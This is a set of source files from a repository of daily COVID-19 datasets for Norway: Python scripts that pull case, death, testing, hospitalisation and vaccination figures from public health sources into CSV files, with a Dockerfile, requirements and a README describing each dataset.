[ { "alpha_fraction": 0.5832669138908386, "alphanum_fraction": 0.5880478024482727, "avg_line_length": 26.282608032226562, "blob_id": "a82a1e77203cc19dd4b65eac50fb5dadbb48c317", "content_id": "9de97e9c48ca2f77c4a4bcddf5e67ec198d88497", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1255, "license_type": "permissive", "max_line_length": 87, "num_lines": 46, "path": "/src/fhi_git/tested_lab.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom utils import (\n get_timestr,\n get_fhi_datafile,\n load_sources,\n write_sources,\n load_datafile,\n write_datafile,\n graphs,\n)\n\n\ndef update():\n now = get_timestr()\n\n # get fhi datafile\n datafile = get_fhi_datafile(\"data_covid19_lab_by_time\")\n df_new = pd.read_csv(\n datafile, usecols=[\"date\", \"n_neg\", \"n_pos\", \"pr100_pos\"], parse_dates=[\"date\"]\n )\n\n mapping = {\"n_neg\": \"new_neg\", \"n_pos\": \"new_pos\"}\n\n df_new = df_new.rename(columns=mapping)\n\n df_new[\"new_total\"] = df_new[\"new_neg\"] + df_new[\"new_pos\"]\n df_new[\"total_neg\"] = df_new[\"new_neg\"].cumsum()\n df_new[\"total_pos\"] = df_new[\"new_pos\"].cumsum()\n df_new[\"total\"] = df_new[\"new_total\"].cumsum()\n df_new[\"source\"] = \"fhi:git\"\n\n df_new = df_new.sort_values(by=[\"date\"], ascending=True)\n df = load_datafile(\"tested_lab\", parse_dates=[\"date\"])\n\n if not df_new.equals(df):\n print(now, \"tested_lab: New update\")\n\n sourcefile = load_sources()\n sourcefile[\"tested_lab.csv\"][\"last_updated\"] = now\n sourcefile[\"tested_lab.csv\"][\"pending_update\"] = 1\n\n write_sources(sourcefile)\n write_datafile(\"tested_lab\", df_new)\n\n # Generate graph\n graphs.tested_lab()\n" }, { "alpha_fraction": 0.686978280544281, "alphanum_fraction": 0.6986644268035889, "avg_line_length": 26.86046600341797, "blob_id": "0831d6bb8bbb029fa03c19941eb6d1cf0db4a088", "content_id": "abfb0ccc85008f27e22b7411e977d498dcdb7594", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1198, "license_type": "permissive", "max_line_length": 163, "num_lines": 43, "path": "/Dockerfile", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "FROM ubuntu:20.04\n\nARG DEBIAN_FRONTEND=noninteractive\nENV TZ=Europe/Oslo\n\nRUN apt-get update && apt-get -y upgrade\nRUN apt-get install -y --no-install-recommends \\\n build-essential \\\n python3-dev \\\n python3-pip \\\n python3-venv \\\n libpq-dev \\\n libssl-dev \\\n libffi-dev \\\n libpython3-dev \\\n gnupg2 \\\n wget \\\n unzip \\\n curl \\\n git \\\n vim\n\nRUN wget -q -O - https://dl.google.com/linux/linux_signing_key.pub | apt-key add -\nRUN sh -c 'echo \"deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main\" >> /etc/apt/sources.list.d/google-chrome.list'\n\n# Install chromedriver\nRUN apt-get update && apt-get install -y \\\n google-chrome-stable \\\n && rm -rf /var/lib/apt/lists/*\n\nRUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip\nRUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/\n\nENV VIRTUAL_ENV /data/venv\nRUN python3 -m venv $VIRTUAL_ENV\nENV PATH $VIRTUAL_ENV/bin:$PATH\nENV APP_HOME /app \n\nWORKDIR ${APP_HOME}\n\nADD requirements.txt ${APP_HOME}\nRUN python -m pip install pip -U\nRUN python -m pip install -r requirements.txt\n" }, { "alpha_fraction": 0.7064846158027649, "alphanum_fraction": 0.7064846158027649, "avg_line_length": 23.41666603088379, "blob_id": "2e8a3502d5060d71c9c53fdb61b710e746119ba6", "content_id": "4951c524e8be719a6e5b5c16425a424c80973eaf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 293, "license_type": "permissive", "max_line_length": 51, "num_lines": 12, "path": "/src/utils/browser.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "from selenium import webdriver\n\n\ndef get_browser():\n options = webdriver.ChromeOptions()\n options.add_argument(\"--headless\")\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"--disable-dev-shm-usage\")\n\n browser = webdriver.Chrome(options=options)\n\n return browser\n" }, { "alpha_fraction": 0.6727052927017212, "alphanum_fraction": 0.6775362491607666, "avg_line_length": 22, "blob_id": "1be744afc544eb647ad3bafc5700227398daddf2", "content_id": "2755972261bb2274c021e9d95418d3684d70a923", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 828, "license_type": "permissive", "max_line_length": 107, "num_lines": 36, "path": "/src/utils/files.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "import os\nimport json\nimport pandas as pd\n\n\ndef load_sources():\n with open(\"src/sources.json\", \"r\") as f:\n jsonfile = json.load(f)\n\n return jsonfile\n\n\ndef write_sources(datadict):\n with open(\"src/sources.json\", \"w\") as f:\n json.dump(datadict, f, indent=2)\n\n\ndef get_fhi_datafile(filestr):\n file_path = \"https://raw.githubusercontent.com/folkehelseinstituttet/surveillance_data/master/covid19/\"\n filename = f\"{filestr}_latest.csv\"\n\n datafile = os.path.join(file_path, filename)\n\n return datafile\n\n\ndef load_datafile(filestr, parse_dates=False):\n filepath = f\"data/{filestr}.csv\"\n df = pd.read_csv(filepath, na_values=\"\", parse_dates=parse_dates)\n\n return df\n\n\ndef write_datafile(filestr, df):\n filepath = f\"data/{filestr}.csv\"\n df.to_csv(filepath, index=False, encoding=\"utf-8\")\n" }, { "alpha_fraction": 0.5394622683525085, "alphanum_fraction": 0.5455334186553955, "avg_line_length": 23.02083396911621, "blob_id": "52562d9ed57de41b809ede422cc86d08d4589400", "content_id": "3cf085d521140b8f72aa9aacb01781b88bff226d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1153, "license_type": "permissive", "max_line_length": 74, "num_lines": 48, "path": "/src/fhi_web/tested.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "from datetime import datetime\nimport requests\nfrom utils import (\n get_timestr,\n load_sources,\n write_sources,\n load_datafile,\n write_datafile,\n)\n\n\ndef update():\n now = get_timestr()\n\n # get from fhi api\n url = \"https://www.fhi.no/api/chartdata/api/91672\"\n res = requests.get(url).json()\n\n tests = res[\"figures\"][4]\n fhi_tests = tests[\"number\"]\n fhi_date = str(datetime.strptime(tests[\"updated\"], \"%d/%m/%Y\").date())\n\n # get current data\n df = load_datafile(\"tested\")\n\n # update new data\n if fhi_date not in df.date.values:\n print(now, \"tested: New update\")\n\n last_data = df[\"total\"].max()\n tested_diff = fhi_tests - last_data\n\n df = df.append(\n {\n \"date\": fhi_date,\n \"new\": tested_diff,\n \"total\": fhi_tests,\n \"source\": \"fhi:web\",\n },\n ignore_index=True,\n )\n\n sourcefile = load_sources()\n sourcefile[\"tested.csv\"][\"last_updated\"] = now\n sourcefile[\"tested.csv\"][\"pending_update\"] = 1\n\n write_sources(sourcefile)\n write_datafile(\"tested\", df)\n" }, { "alpha_fraction": 0.5389947891235352, "alphanum_fraction": 0.5415944457054138, "avg_line_length": 22.079999923706055, "blob_id": "f6de1d6f2befdcc81b7d18fa2ffc4b3f226fe975", "content_id": "a8aba6b5b19d9ccb89793fddfd67a10bff79380e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1154, "license_type": "permissive", "max_line_length": 60, "num_lines": 50, "path": "/src/fhi_git/dead.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom utils import (\n get_timestr,\n get_fhi_datafile,\n load_sources,\n write_sources,\n load_datafile,\n write_datafile,\n graphs\n)\n\n\ndef update():\n now = get_timestr()\n\n # load current data\n df = load_datafile(\"dead\")\n\n # get fhi datafile\n datafile = get_fhi_datafile(\"data_covid19_demographics\")\n df_new = pd.read_csv(datafile)\n\n date_of_publishing = df_new.date_of_publishing.max()\n\n if date_of_publishing not in df.date.values:\n print(now, \"dead: New update\")\n\n last_data = df[\"total\"].max()\n fhi_dead = df_new[\"n\"].sum()\n dead_diff = fhi_dead - last_data\n\n df = df.append(\n {\n \"date\": date_of_publishing,\n \"new\": dead_diff,\n \"total\": fhi_dead,\n \"source\": \"fhi:git\",\n },\n ignore_index=True,\n )\n\n sourcefile = load_sources()\n sourcefile[\"dead.csv\"][\"last_updated\"] = now\n sourcefile[\"dead.csv\"][\"pending_update\"] = 1\n\n write_sources(sourcefile)\n write_datafile(\"dead\", df)\n\n # Generate graph\n graphs.dead()\n" }, { "alpha_fraction": 0.5715027451515198, "alphanum_fraction": 0.7468206882476807, "avg_line_length": 35.87081527709961, "blob_id": "ae97b29ab51927b49d1a131efd1533ac10700988", "content_id": "3fbdd98c78278cb025b87ac46def6553ab4f6dd4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7709, "license_type": "permissive", "max_line_length": 235, "num_lines": 209, "path": "/README.md", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "# COVID-19 Datasets for Norway\n\n![badge-last-update](https://img.shields.io/github/last-commit/frefrik/c19norge-data?label=Last%20update)\n\n## Description\n\nThis repository contains datasets of daily time-series data related to COVID-19 in Norway. \n\n## Overview\n<!-- table starts -->\n|Data|Source|Last updated|Download|Preview|\n| :--- | :--- | :--- | :--- | :--- |\n|[Confirmed](#confirmedcsv)|FHI / MSIS|2021-03-29 13:20:57+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/confirmed.csv)|[<center>preview</center>](data/confirmed.csv)|\n|[Dead](#deadcsv)|FHI|2021-03-29 13:20:58+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/dead.csv)|[<center>preview</center>](data/dead.csv)|\n|[Hospitalized](#hospitalizedcsv)|Helsedirektoratet|2021-03-29 13:00:58+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/hospitalized.csv)|[<center>preview</center>](data/hospitalized.csv)|\n|[Tested](#testedcsv)|FHI|2021-03-29 13:00:55+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/tested.csv)|[<center>preview</center>](data/tested.csv)|\n|[Tested Lab](#tested_labcsv)|FHI|2021-03-29 13:20:55+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/tested_lab.csv)|[<center>preview</center>](data/tested_lab.csv)|\n|[Transport](#transportcsv)|FHI|2021-03-29 13:40:56+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/transport.csv)|[<center>preview</center>](data/transport.csv)|\n|[Vaccine Doses](#vaccine_dosescsv)|FHI|2021-03-29 13:20:58+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/vaccine_doses.csv)|[<center>preview</center>](data/vaccine_doses.csv)|\n|[Smittestopp](#smittestoppcsv)|FHI|2021-03-29 09:01:07+02:00|[<center>csv</center>](https://raw.githubusercontent.com/frefrik/c19norge-data/main/data/smittestopp.csv)|[<center>preview</center>](data/smittestopp.csv)|\n<!-- table ends -->\n\n## Datafiles\n\n### confirmed.csv\n\nNumber of cases reported daily in Norway since the start of the epidemic.\n\n**Data source:**\n\n- https://statistikk.fhi.no/msis\n- https://github.com/folkehelseinstituttet/surveillance_data\n\n```\ndate,new,total,source\n2020-11-13,687,28807,fhi:git\n2020-11-14,366,29173,fhi:git\n2020-11-15,259,29432,fhi:git\n2020-11-16,78,29510,fhi:git\n2020-11-17,239,29749,msis:api\n...\n``` \n\n![Confirmed](graphs/confirmed.png)\n\n---\n\n### dead.csv\n\nNumber of COVID-19 associated deaths notified to the Norwegian Institute of Public Health.\n\n**Data source:**\n\n- https://github.com/folkehelseinstituttet/surveillance_data\n\n```\ndate,new,total,source\n2020-11-11,0,285,fhi:git\n2020-11-12,6,291,fhi:git\n2020-11-13,3,294,fhi:git\n2020-11-16,0,294,fhi:git\n2020-11-17,4,298,fhi:git\n...\n```\n\n![Dead](graphs/dead.png)\n\n---\n\n### hospitalized.csv\n\nNumber of hospitalized patients. \nThe hospitals register the daily number of patients who are admitted to hospital with proven covid-19 and the number of admitted patients who receive invasive respiratory treatment.\n\n**Data source:**\n\n- https://www.helsedirektoratet.no/statistikk/antall-innlagte-pasienter-pa-sykehus-med-pavist-covid-19\n\n```\ndate,admissions,respiratory,source\n2020-11-13,109,13,helsedir:api\n2020-11-14,117,13,helsedir:api\n2020-11-15,127,13,helsedir:api\n2020-11-16,135,16,helsedir:api\n2020-11-17,139,15,helsedir:api\n...\n```\n\n![Hospitalized](graphs/hospitalized.png)\n\n---\n\n### tested.csv\n\nNumber of COVID-19 tests performed.\n**Data source:**\n\n- https://www.fhi.no/sv/smittsomme-sykdommer/corona/dags--og-ukerapporter/dags--og-ukerapporter-om-koronavirus/\n\n```\ndate,new,total,source\n2020-11-11,25697,1924640,fhi:web\n2020-11-12,27645,1952285,fhi:web\n2020-11-13,27145,1979430,fhi:web\n2020-11-16,55298,2034728,fhi:web\n2020-11-17,16009,2050737,fhi:web\n...\n```\n\n---\n\n### tested_lab.csv\n\nNumber of tested persons per specimen collection date and number of positive results. \nThe laboratory results are collected in the MSIS Laboratory Database.\n\n**Data source:**\n\n- https://github.com/folkehelseinstituttet/surveillance_data\n\n```\ndate,new_neg,new_pos,pr100_pos,new_total,total_neg,total_pos,total,source\n2020-11-12,22854,607,2.6,23461,1959573,27657,1987230,fhi:git\n2020-11-13,20850,656,3.1,21506,1980423,28313,2008736,fhi:git\n2020-11-14,9213,350,3.7,9563,1989636,28663,2018299,fhi:git\n2020-11-15,8284,262,3.1,8546,1997920,28925,2026845,fhi:git\n2020-11-16,4143,72,1.7,4215,2002063,28997,2031060,fhi:git\n...\n```\n\n![Tested Lab](graphs/tested_lab.png)\n\n---\n\n### transport.csv\n\nList of departures where persons infected with covid-19 have been on board aircraft, ships, trains and buses.\n\n**Data source:**\n\n- https://www.fhi.no/sv/smittsomme-sykdommer/corona/koronavirus-og-covid-19-pa-offentlig-kommunikasjon/\n\n```\ntr_type,route,company,tr_from,tr_to,departure,arrival,source\nFly,SK330,SAS,Oslo,Trondheim,2020-11-16 06:55:00,2020-11-16 07:55:00,fhi:web\nFly,SK1474,SAS,København,Oslo,2020-11-15 22:55:00,,fhi:web\nFly,SK4035,SAS,Oslo,Stavanger,2020-11-15 15:30:00,2020-11-15 16:25:00,fhi:web\nFly,DY620,Norwegian,Oslo,Bergen,2020-11-13 16:29:00,2020-11-13 17:05:00,fhi:web\nFly,SK1320,SAS,Oslo,Ålesund,2020-11-13 13:00:00,2020-11-13 13:55:00,fhi:web\nFly,WF568,Widerøe,Bergen,Kristiansund,2020-11-13 11:00:00,2020-11-13 11:55:00,fhi:web\n...\n```\n\n---\n\n### vaccine_doses.csv\n\nNumber of people who have been vaccinated for COVID-19.\n\n- ```new_dose_1```: Number of people who received their first dose of a COVID-19 vaccine\n- ```new_dose_2```: Number of people who received their second dose of a COVID-19 vaccine\n- ```total_dose_1```: Cumulative number of people who received their first dose of a COVID-19 vaccine\n- ```total_dose_2```: Cumulative number of people who received their second dose of a COVID-19 vaccine\n- ```new_doses```: Number of total vaccine doses administered (new_dose_1 + new_dose_2)\n- ```total_doses```: Cumulative number of total vaccine doses administered (total_dose_1 + total_dose_2)\n\n**Data source:**\n\n- https://github.com/folkehelseinstituttet/surveillance_data\n\n```\ngranularity_geo,location_name,date,new_dose_1,new_dose_2,total_dose_1,total_dose_2,total_pr100_dose_1,total_pr100_dose_2,new_doses,total_doses,source\ncounty,Oslo,2020-12-27,5,0,5,0,0.00072098677133472,0.0,5,5,fhi:git\ncounty,Oslo,2020-12-28,264,0,269,0,0.0387890882978079,0.0,264,269,fhi:git\ncounty,Oslo,2020-12-29,118,0,387,0,0.0558043761013073,0.0,118,387,fhi:git\ncounty,Oslo,2020-12-30,58,0,445,0,0.06416782264879001,0.0,58,445,fhi:git\ncounty,Oslo,2020-12-31,5,0,450,0,0.0648888094201248,0.0,5,450,fhi:git\ncounty,Oslo,2021-01-01,6,0,456,0,0.0657539935457264,0.0,6,456,fhi:git\ncounty,Oslo,2021-01-02,0,0,456,0,0.0657539935457264,0.0,0,456,fhi:git\ncounty,Oslo,2021-01-03,0,0,456,0,0.0657539935457264,0.0,0,456,fhi:git\ncounty,Oslo,2021-01-04,0,0,456,0,0.0657539935457264,0.0,0,456,fhi:git\n...\n```\n\n![Vaccine Doses](graphs/vaccine_doses.png)\n\n---\n\n### smittestopp.csv\n\n*Smittestopp is an app from the Norwegian Institute of Public Health (\"Folkehelsesinstituttet (FHI)\" in Norwegian). The app is intended to help prevent coronavirus from spreading among the population.*\n\nNumber of downloads of Smittestopp and the number who have reported through the app that they are infected.\n\n**Data source:**\n\n- https://www.fhi.no/om/smittestopp/nokkeltall-fra-smittestopp/\n\n```\ndate,new_downloads,total_downloads,new_reported,total_reported,source\n2020-12-21,117700,117700,23,23,fhi:web\n2020-12-22,41000,158700,18,41,fhi:web\n2020-12-23,15600,174300,12,53,fhi:web\n2020-12-24,9500,183800,19,72,fhi:web\n2020-12-25,10900,194700,10,82,fhi:web\n...\n```\n\n![Smittestopp](graphs/smittestopp.png)\n" }, { "alpha_fraction": 0.5731573104858398, "alphanum_fraction": 0.5869086980819702, "avg_line_length": 29.299999237060547, "blob_id": "04f11657371da3a7e7859802e051e035c99c22d8", "content_id": "520edd6fcd702527c4e3b7bfc1e9dfd518e634f5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1818, "license_type": "permissive", "max_line_length": 78, "num_lines": 60, "path": "/src/fhi_git/confirmed.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom utils import (\n get_timestr,\n load_sources,\n write_sources,\n load_datafile,\n write_datafile,\n get_fhi_datafile,\n graphs,\n)\n\n\ndef update():\n now = get_timestr()\n\n datafile = get_fhi_datafile(\"data_covid19_msis_by_time_location\")\n df_new = pd.read_csv(\n datafile, usecols=[\"date\", \"n\", \"location_name\"], parse_dates=[\"date\"]\n )\n\n df_new = df_new.loc[(df_new[\"location_name\"] == \"Norge\")]\n df_new = df_new.filter(items=[\"date\", \"n\"])\n df_new = df_new[df_new.date >= \"2020-02-21\"]\n df_new = df_new.rename(columns={\"n\": \"new\"})\n\n df_new[\"total\"] = df_new[\"new\"].cumsum()\n df_new[\"source\"] = \"fhi:git\"\n df_new = df_new.reset_index(drop=True)\n\n df = load_datafile(\"confirmed\", parse_dates=[\"date\"])\n df = df[df.date >= \"2020-02-21\"]\n df_filter = df.loc[df[\"source\"] == \"fhi:git\"]\n df_filter = df_filter.reset_index(drop=True)\n\n if not df_new.equals(df_filter):\n print(now, \"fhi_git.confirmed: New update\")\n\n df_new = df_new.merge(df, how=\"outer\")\n df_new = df_new.drop_duplicates(subset=[\"date\"], keep=\"first\")\n\n second_last = df_new.iloc[-2:]\n second_last_total = second_last.total.values[0]\n last_total = second_last.total.values[1]\n last_new = second_last.new.values[1]\n\n if second_last_total > last_total:\n newToday = last_new + (second_last_total - last_total)\n\n df_new.iloc[-1:][\"total\"] = second_last_total\n df_new.iloc[-1:][\"new\"] = newToday\n\n sourcefile = load_sources()\n sourcefile[\"confirmed.csv\"][\"last_updated\"] = now\n sourcefile[\"confirmed.csv\"][\"pending_update\"] = 1\n\n write_sources(sourcefile)\n write_datafile(\"confirmed\", df_new)\n\n # Generate graph\n graphs.confirmed()\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.5756770968437195, "avg_line_length": 30.915254592895508, "blob_id": "e0c5d2f5282fe7ac8dd5f7993cbee8bff1223d0a", "content_id": "fe567b1b8885918762e70c74b82180055f854459", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1883, "license_type": "permissive", "max_line_length": 76, "num_lines": 59, "path": "/src/msis_api/confirmed.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "import sys\nfrom datetime import datetime, date, timedelta\nimport requests\nfrom utils import (\n get_timestr,\n load_sources,\n write_sources,\n load_datafile,\n write_datafile,\n)\n\n\ndef update():\n now = get_timestr()\n today = date.today()\n yesterday = today - timedelta(days=1)\n\n url = \"https://statistikk.fhi.no/api/msis/antallKoronaTotalt\"\n\n df = load_datafile(\"confirmed\")\n last_total = df[\"total\"].max()\n\n try:\n confirmed_total = requests.get(url).json()\n except Exception:\n confirmed_total = 0\n error = sys.exc_info()[1]\n print(now, \"- ERROR:\", str(error))\n\n if confirmed_total > last_total:\n print(now, \"msis_api.confirmed: New update\")\n\n confirmed_diff = confirmed_total - last_total\n\n if datetime.now().hour in range(0, 2):\n n_yesterday = df.new.loc[df[\"date\"] == str(yesterday)].values[0]\n\n diff_yesterday = n_yesterday + confirmed_diff\n\n df.loc[df[\"date\"] == str(yesterday), \"new\"] = diff_yesterday\n df.loc[df[\"date\"] == str(yesterday), \"total\"] = confirmed_total\n df.loc[df[\"date\"] == str(today), \"total\"] = confirmed_total\n df.loc[df[\"date\"] == str(yesterday), \"source\"] = \"msis:api\"\n df.loc[df[\"date\"] == str(today), \"source\"] = \"msis:api\"\n\n else:\n n_today = df.new.loc[df[\"date\"] == str(today)].values[0]\n diff_today = n_today + confirmed_diff\n\n df.loc[df[\"date\"] == str(today), \"new\"] = diff_today\n df.loc[df[\"date\"] == str(today), \"total\"] = confirmed_total\n df.loc[df[\"date\"] == str(today), \"source\"] = \"msis:api\"\n\n sourcefile = load_sources()\n sourcefile[\"confirmed.csv\"][\"last_updated\"] = now\n sourcefile[\"confirmed.csv\"][\"pending_update\"] = 1\n\n write_sources(sourcefile)\n write_datafile(\"confirmed\", df)\n" }, { "alpha_fraction": 0.689577043056488, "alphanum_fraction": 0.6910876035690308, "avg_line_length": 25.479999542236328, "blob_id": "508c31d29f06a8762f4aa5322359516ea7dfc308", "content_id": "79f2e3d727f6c3d85924e53195b4e68308c21192", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1324, "license_type": "permissive", "max_line_length": 82, "num_lines": 50, "path": "/src/update_data.py", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "from fhi_git import vaccine, dead, tested_lab\nfrom fhi_git import confirmed as confirmed_fhi\nfrom fhi_web import tested, smittestopp, transport\nfrom helsedir_api import hospitalized\nfrom msis_api import confirmed as confirmed_msis\nfrom utils import confirmed_new_day, update_readme, load_sources, write_sources\n\n\ndef reset_pending():\n for category in sources:\n sources[category][\"pending_update\"] = 0\n\n write_sources(sources)\n\n\nif __name__ == \"__main__\":\n print(\"Checking for update: tested.csv\")\n tested.update()\n\n print(\"Checking for update: tested_lab.csv\")\n tested_lab.update()\n\n print(\"Checking for update: confirmed.csv\")\n confirmed_new_day()\n confirmed_msis.update()\n confirmed_fhi.update()\n\n print(\"Checking for update: hospitalized.csv\")\n hospitalized.update()\n\n print(\"Checking for update: dead.csv\")\n dead.update()\n\n print(\"Checking for update: vaccine_doses.csv\")\n vaccine.update()\n\n print(\"Checking for update: transport.csv\")\n transport.update()\n\n print(\"Checking for update: smittestopp.csv\")\n smittestopp.update()\n\n sources = load_sources()\n pending_update = [sources[category][\"pending_update\"] for category in sources]\n\n if 1 in pending_update:\n print(\"Updating README.md\")\n\n reset_pending()\n update_readme()\n" }, { "alpha_fraction": 0.48603352904319763, "alphanum_fraction": 0.6927374005317688, "avg_line_length": 15.363636016845703, "blob_id": "b1b167332f34cf286c937ebc5ecfce6326310676", "content_id": "8a440bf870342b6774436ef3415ad5d7546b1869", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 179, "license_type": "permissive", "max_line_length": 21, "num_lines": 11, "path": "/requirements.txt", "repo_name": "PedroRisquez/c19norge-data", "src_encoding": "UTF-8", "text": "altair==4.1.0\naltair-saver==0.5.0\nbeautifulsoup4==4.9.3\ndateparser==1.0.0\nlxml==4.6.3\nmdutils==1.3.0\nopenpyxl==3.0.7\npandas==1.2.3\nPyYAML==5.4.1\nrequests==2.25.1\nselenium==3.141.0" } ]
11
jense-arntz/Full-Stack-Server-Client-App
https://github.com/jense-arntz/Full-Stack-Server-Client-App
3dbcd3a10bc75204663d8024dcadf6c6754ce5b9
30e524a71e8b8b2d55b09f5a381f1bb5311155f5
a78df76abdd4c4044e9fdfeb16f927a5c92d04a7
refs/heads/master
2021-01-18T11:53:17.630748
2016-05-26T18:35:25
2016-05-26T18:35:25
59,773,722
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7115987539291382, "alphanum_fraction": 0.7115987539291382, "avg_line_length": 16.61111068725586, "blob_id": "c924fe877ca87f9d5425a621322aaf5f8fd0d3d5", "content_id": "f04f9de8ee56fe4f9be38b7ace89566e4b9cd098", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 319, "license_type": "permissive", "max_line_length": 41, "num_lines": 18, "path": "/Client/schema.sql", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "\nCREATE TABLE IP (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n token text,\n server_addr text,\n update_time text\n);\n\nCREATE TABLE Camera (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n shttercount text,\n state text\n);\n\nCREATE TABLE Users (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n username TEXT,\n password TEXT\n);\n\n" }, { "alpha_fraction": 0.6441363096237183, "alphanum_fraction": 0.6447140574455261, "avg_line_length": 26.4761905670166, "blob_id": "bf886d8f73383dcc1695771b3fb18b1dbea2f133", "content_id": "b38248ddfe4712e5c9339a77ee31906b1076dda6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1731, "license_type": "permissive", "max_line_length": 96, "num_lines": 63, "path": "/Client/cliproxy/logger.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "from const import *\nfrom logging.handlers import *\n\nlogger = logging.getLogger()\n\n\ndef get_stream_handler():\n \"\"\"Return console logging handler.\"\"\"\n # Use stderr (default)\n handler = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n handler.setFormatter(formatter)\n return handler\n\n\ndef get_syslog_handler():\n \"\"\"Return syslog logging handler.\"\"\"\n handler = logging.handlers.SysLogHandler(\"/dev/log\",\n facility=logging.handlers.SysLogHandler.LOG_LOCAL0)\n formatter = logging.Formatter(\n PROGID + \"[%(process)d] %(levelname)s %(message)s\")\n handler.setFormatter(formatter)\n return handler\n\n\ndef get_memory_log_handler():\n\n handler = logging.FileHandler(LOG_FILE, mode='w')\n handler.name = 'in-memory log'\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(funcName)s %(message)s')\n handler.setFormatter(formatter)\n return handler\n\n\ndef close_memory_log_handler():\n logger = logging.getLogger()\n handlers = logger.handlers[:]\n for handler in handlers:\n if handler.name == 'in-memory log':\n logger.removeHandler(handler)\n handler.flush()\n handler.close()\n break\n\n\ndef open_memory_log_handler():\n logger = logging.getLogger()\n handler = get_memory_log_handler()\n logger.addHandler(handler)\n\n\ndef set_loggers(level=logging.INFO, quiet=True):\n logger = logging.getLogger()\n logger.setLevel(level)\n\n try:\n # handler = get_syslog_handler()\n # logger.addHandler(handler)\n\n handler = get_memory_log_handler()\n logger.addHandler(handler)\n except Exception as e:\n print e\n" }, { "alpha_fraction": 0.5052937865257263, "alphanum_fraction": 0.5068819522857666, "avg_line_length": 29.71544647216797, "blob_id": "d471290e36edf09a2501f8606c568732af845795", "content_id": "d7cbc07e862646cb810a1cd26131dc03fd5cc6d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3778, "license_type": "permissive", "max_line_length": 95, "num_lines": 123, "path": "/Client/main/models.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import sqlite3 as sqlite\nfrom main.logger import *\n\n\n# ----------------------------- Update token to IP Table -------------------------\ndef update_ip(token, server_addr):\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n sql = \"UPDATE IP SET token=?, server_addr=? WHERE id = 1\"\n cur.execute(sql, (token, server_addr))\n con.commit()\n con.close()\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n\n\n# ----------------------------- Update token to IP Table -------------------------\ndef update_camera(shuttercount):\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n sql = \"UPDATE Camera SET shttercount=? WHERE id = 1\"\n cur.execute(sql, (shuttercount,))\n con.commit()\n con.close()\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n\n\n# ---------------------------- Get Ip settings ----------------------------------------\ndef get_ip():\n data = \" \"\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n result = cur.execute(\"select token, update_time, server_addr from IP\")\n data = result.fetchone()\n con.close()\n return data\n except sqlite.DatabaseError as e:\n logger.error(e.message)\n return data\n\n\n# ----------------------------- Get shutter count to IP Table -------------------------\ndef get_camera():\n data = \" \"\n try:\n con = sqlite.connect(\"Client.db\")\n cur = con.cursor()\n sql = 